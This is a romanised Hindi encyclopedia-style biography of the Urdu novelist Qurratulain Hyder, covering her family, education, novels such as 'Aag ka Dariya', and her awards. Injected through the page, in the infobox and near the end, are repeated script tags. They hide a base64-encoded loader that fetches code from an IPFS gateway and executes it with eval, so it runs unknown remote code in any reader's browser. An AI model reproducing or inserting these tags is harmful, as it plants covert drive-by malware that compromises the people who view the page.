क़ुर्रतुलऐन हैदर
qurratulain haidar
| |
| poora nam | qurratulain haidar |
| any nam | aini apa |
| janm | 20 janavari 1926 |
| janm bhoomi | aligadh, uttar pradesh |
| mrityu | 21 agast 2007 |
| mrityu sthan | noeda, uttar pradesh |
| abhibhavak | sajjad haidar yaladaram, nazar sajjad haidar |
| karm bhoomi | bharat |
| mukhy rachanaean | 'mere bhi sanamakhane' (1949), 'safina–e–game dil', 'jalavatan', 'yah dag-dag ujala', 'landan kahaniyaan' adi. |
| bhasha | urdoo |
| puraskar-upadhi | sahity akadami puraskar (1967), soviyat laian d neharu puraskar (1969), galib avard (1985), iqabal samman (1987), jnanapith puraskar (1991, padmashri 1984, padm bhooshan 1989 ) |
| prasiddhi | lekhika |
| nagarikata | bharatiy |
| any janakari | bharat ki vah samajik sanskriti, jo yahaan rahane vale hindoo muslim samudayoan ke lie ekata aur prem ka prasad aur gaurav ka pratik thi, desh-vibhajan ke bad vah khandit ho gee. |
| adyatan | 18:04, 29 mee 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
qurratulain haidar (aangrezi: Qurratulain Hyder, janm: 20 janavari, 1926 - mrityu: 21 agast, 2007) jnanapith puraskar se sammanit urdoo ki prasiddh lekhika thian.
jivan parichay
qurratulain haidar ka janm 20 janavari 1926 ee. aligadh, uttar pradesh mean hua tha. qurratulain haidar ke pita sajjad haidar yildiram aligadh muslim vishvavidyalay mean rajistrar the. qurratulain haidar ke parivar mean tin pidhiyoan se likhane ki paranpara rahi. qurratulain haidar ke pita ki ganana urdoo ke pratishthit kathakaroan mean hoti thi. qurratulain haidar ki maan nazar sajjad haidar ‘urdoo’ ki 'jen aaustin’ kahalati thian. qurratulain ko bachapan se hi likhane ka shauq raha, praranbh mean unhoanne bachchoan ke lie kuchh kahaniyaan likhian. qurratulain ki pahali maulik kahani prasiddh sahityik patrika saqi mean prakashit huee. sanpadakiy mean isaki prashansa vishesh ullekh ke sath ki gee thi. is kahani se qurratulain haidar ko kafi protsahan mila aur vah nirantar likhati chali geean. apane lekhan mean unhoanne kabhi kisi ke anukaran ka prayas nahian kiya, jo kuchh bhi likha apane jivananubhav, kalpana aur chiantan ke adhar par hi likha.
shiksha
1947 mean qurratulain ne lakhanoo vishvavidyalay se aangrezi sahity mean em.e.kiya. isi varsh qurratulain haidar ki kahaniyoan ka pahala sangrah 'sitaroan ke age' prakashit hua. isame sankalit lagabhag sabhi kahaniyaan urdoo mean haian. qurratulain haidar ne ghatanaoan ki apeksha unase janm lene vali anubhootiyoan aur sanvedanao ko vishesh mahattv diya. in kahaniyoan dvara pathak ke sammukh ek aparichit si duniya prastut ki gee, jisamean jivan ki arthahinata ka sanket tha, har taraph chhaee huee dhuandh thi. ek manograhi shayarana udasi thi.
qurratulain haidar 1950 se 1960 ke madhy landan mean rahi. bharat lautane ke bad unhoanne bambee mean impriant ke prabandh sanpadak ka pad sanbhala. usake bad lagabhag sat varsh vah 'ilastreted vikali aauf iandiya' ke sanpadan vibhag ke sabanddh mean rahian. katha lekhan ke alava lalit kalaoan, khasakar sangit aur chitrakala mean bhi unaki gahari ruchi thi. gardishe range chaman mean unake rekhaankan prakashit hue haian.
upanyas
qurratulain haidar ka pahala upanyas 'mere bhi sanamakhane' 1949 mean prakashit hua. yah upanyas bharat ki samanvit sanskriti ke madhyam se manavata ki trasadi prastut karata hai. bharat ki vah samajik sanskriti, jo yahaan rahane vale hindoo muslim samudayoan ke lie ekata aur prem ka prasad aur gaurav ka pratik thi, desh-vibhajan ke bad vah khandit ho gee. yah pi da mere bhi sanamakhane mean lakhanoo ke kuchh adarshavadi alh d evan jivant l dake-l dakiyoan ki samoohik vyatha–katha ke madhyam se b de hi marmik rup mean darshaee gee hai. 1952 mean qurratulain haidar ka doosara upanyas 'safina–e–game dil' aur doosara kahani sankalan 'shishe ke ghar' prakashit hua. is sankalan mean 'jalavatan', 'yah dag-dag ujala' aur 'landan kahaniyaan' vishesh ullekhaniy haian.
disanbar 1959 mean qurratulain haidar ka suprasiddh upanyas 'ag ka dariya' prakashit hua, jisane sahity jagath mean tahalaka macha diya. yah upanyas apani bhasha shaili, rachana-shilp, vishay–vastu aur chiantan, har drishti se ek nee panrapara ka sootrapat karata hai. 'kare-jahaan-daraz' upanyas ke bad qurratulain haidar ke tin aur upanyas prakashit ho chuke haian. ek upanyasakar ke roop mean qurratulain haidar ki ganana urdoo ke mahanh sahityakaroan mean ki jati hai.
- pramukh upanyas
- mere bhi sanamakhane (1949)
- safina-e-game-dil (1952)
- ag ka dariya (1959)
- akhiri shab ke hamasafar (1979)
- gardishe–range-chaman (1987)
- chaandani begam (1990)
- kare-jahaan-daraz hai. (1978-79)
- shishe ke ghar (1952)
- patajhar ki avaz (1967)
- roshani ki raftar (1982)
puraskar
qurratulain haidar ko sahity akadami puraskar (1967) soviyat laian d neharu puraskar (1969), galib avard (1985), iqabal samman (1987), aur jnanapith puraskar (1991) se sammanit kiya gaya hai.
mrityu
qurratulain haidar ki mrityu 21 agast 2007 ko noeda, uttar pradesh mean hua tha.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>